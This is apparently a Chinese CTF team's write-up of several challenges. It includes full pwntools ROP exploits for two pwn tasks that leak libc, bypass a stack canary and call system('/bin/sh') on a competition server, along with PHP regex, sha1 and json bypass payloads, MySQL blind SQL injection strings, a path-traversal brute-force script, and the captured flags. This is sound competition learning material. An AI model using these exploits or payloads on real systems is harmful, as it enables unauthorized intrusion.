第一次以团队形式参赛,全大二队伍拿到96名成绩还可以
贡献不大,全靠队友带飞
babyof payload
基本的ropgadget
from pwn import *
from LibcSearcher import *
#io = process(‘./babyof’)
io = remote(‘182.116.62.85’, 21613)
elf = ELF(‘./babyof’)
context.log_level = ‘debug’
pop_rdi_ret = 0x400743
puts_plt = elf.plt[‘puts’]
puts_got = elf.got[‘puts’]
func_addr = 0x400632
payload = b’a’*(0x40 + 8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(func_addr)
io.recv()
io.sendline(payload)
io.recvline()
x = io.recv()[0:6]
puts_addr = u64(x.ljust(8,b’\x00’))
print(hex(puts_addr))
libc = LibcSearcher(‘puts’,puts_addr)
libc_base = puts_addr - libc.dump(‘puts’)
system_addr = libc_base + libc.dump(‘system’)
binsh_addr = libc_base + libc.dump(‘str_bin_sh’)
ret = 0x400506
payload2 = b’a’*(0x40+8)
payload2 += p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()
flag{89b55977-566c-431d-9034-74e7c181f340}
littleof payload
多一个canary读取,和上题基本一样
from pwn import *
from LibcSearcher import *
io = remote(‘182.116.62.85’, 27056)
#io = process(‘./littleof’)
elf = ELF(‘./littleof’)
context.log_level = ‘debug’
pop_rdi_ret = 0x400863
puts_plt = elf.plt[‘puts’]
puts_got = elf.got[‘puts’]
func_addr = 0x4006e2
payload1 = b’a’ * (0x50 - 8)
io.recv()
io.sendline(payload1)
io.recvuntil(payload1)
canary = u64(io.recv(8)) - 0xa
print(hex(canary))
payload2 = payload1 + p64(canary) + p64(1) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(func_addr)
io.recv()
io.sendline(payload2)
io.recvline()
x = io.recv()[0:6]
puts_addr = u64(x.ljust(8,b’\x00’))
print(hex(puts_addr))
libc = LibcSearcher(‘puts’,puts_addr)
libc_base = puts_addr - libc.dump(‘puts’)
system_addr = libc_base + libc.dump(‘system’)
binsh_addr = libc_base + libc.dump(‘str_bin_sh’)
io.sendline(b’1’)
io.recv()
ret = 0x40059e
payload3 = payload1 + p64(canary) + p64(1) + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload3)
io.interactive()
flag{25e96197d4da10748a055753b5104856}
easy_crytpo
签到题,联想到社会主义核心价值观编码,网上找到在线解码器
flag{IlUqU9O5guX6YiITsRNPiQmbhNRjGuTP}
A_crytpo
根据flag长度分析得出可能是四位一组的分组编码,并且前二十位可能是
4O59:f
5954:l
494Q:a
3251:g
5046:{
md,我太菜了!
WEB MIDDLE_MAGIC
level1绕过
$aaa = preg_replace(‘/^(.)level(.)$/‘, ‘${1}${2}’, $_GET[‘aaa’]);
任意匹配不包括%0a,#需要url编码%23表示
aaa=%0apass_the_level_1%23
level2
sha1绕过,sha1不能对数组加密,返回值都是NULL
admin[]=1&root_pwd=2
level3
json绕过
在json中0对应任意字符串
level_3 = {“result”:0}
flag{f03d41bf6c8d55f12324fd57f7a00427}
NEW_MISC
下载下来是一个pdf文件
010打开,发现20/09 16进制对
怀疑pdf隐写,wbStego跑一下
flag{verY_g00d_YoU_f0und_th1s}
MISC2
下载了一副图片
经检查,无隐写,无crc修改
放入stegsolve,点点点
发现有lsb,将字符串提取出来,发现是NCR转义,将其化为ascii,得
flag{h0w_4bouT_enc0de_4nd_pnG}
easysql2
xdm可以试试盲注
username error 和 passwd error
数据库名ctf
用’and%0a(ascii(substr(version(),1,1))>1)#爆一下版本号
版本号为8.0.4
使用最新的sql特性注入
admin’and//(‘def’,’a’,3,4,5,6)<=(table//information_schema.TABLE_CONSTRAINTS//limit//317,1)#
EASYP
题目:
<?php
include ‘utils.php’;
if (isset($_POST[‘guess’])) {
$guess = (string) $_POST[‘guess’];
if ($guess === $secret) {
$message = ‘Congratulations! The flag is: ‘ . $flag;
} else {
$message = ‘Wrong. Try Again’;
}
}
if (preg_match(‘/utils.php/*$/i’, $_SERVER[‘PHP_SELF’])) {
exit(“hacker :)”);
}
if (preg_match(‘/show_source/‘, $_SERVER[‘REQUEST_URI’])){
exit(“hacker :)”);
}
if (isset($_GET[‘show_source’])) {
highlight_file(basename($_SERVER[‘PHP_SELF’]));
exit();
}else{
show_source(FILE);
}
?>
脚本:
import requests
for i in range(0,255):
j=hex(i)[2:]
print(j)
url = 'http://182.116.62.85:21895/index.php/utils.php/%'+ j + '?show%20source=1'
#http://182.116.62.85:21895/?show%20source=1
r = requests.get(url)
if 'flag{' in r.text:
print(r.text)
break
$_SERVER[‘REQUEST_URI’]会把特殊字符(如空格)转换成下划线
$secret需要爆破,所以有了j
basename() 函数返回路径中的文件名部分,$_SERVER[‘PHP_SELF’]返回当前执行脚本的文件名。
传入http://182.116.62.85:21895/index.php/utils.php 时,$_SERVER[‘PHP_SELF’]会返回index.php/utils.php,而basename()会返回utils.php。这样我们再加上?show%20source=1就可以让highlight_file显示utils.php,而flag就在里面。
flag{bsyxmK7ncU5nPjsGMckFo8kgq95qRasg}
流量分析
手工分析
首先进行数据包筛选
发现是一道sql注入的数据包
根据数据包回包中字符长度不一样的部分,取出其中的ascii码,转换成flag
1 102 f
2 108 l
3 97
4 103
5 123
6 119
7 49
8 114
9 101
10 115
11 104
12 65
13 82
14 75
15 95
16 101
17 122
18 95
19 49
20 115
21 110
22 116
23 105
24 116
25 125
26 33
flag{w1reshARK_ez_1sntit}
v1.5.2